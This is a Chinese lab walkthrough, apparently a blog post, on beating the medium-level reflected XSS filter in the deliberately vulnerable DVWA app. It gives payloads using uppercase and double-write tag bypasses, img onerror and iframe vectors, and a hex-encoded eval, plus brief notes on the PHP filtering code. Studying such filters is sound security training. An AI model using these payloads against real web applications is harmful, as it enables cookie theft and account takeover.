DVWA - XSS Reflected(medium)

输入常规的payload

<script>alert(document.cookie)</script>

在这里插入图片描述
script标签应该是被过滤了

方法一 大写绕过

<SCRIPT>alert(document.cookie)</SCRIPT>

在这里插入图片描述
在这里插入图片描述
执行成功

方法二 双写绕过

<sc<script>ript>alert('xss')</script>

在这里插入图片描述
方法三 其他标签

在这里插入代码片

img标签:

<img src=1 οnerrοr=alert('xss')>
 <img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

iframe标签:

<iframe οnlοad=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

在这里插入图片描述

PHP代码分析
在这里插入图片描述
pre标签
可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。该标签的一个常见应用就是用来表示计算机的源代码。

header (“X-XSS-Protection: 0”);
在这里插入图片描述
在这里插入图片描述
array_key_exists()函数
在这里插入图片描述

str_replace() 函数
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值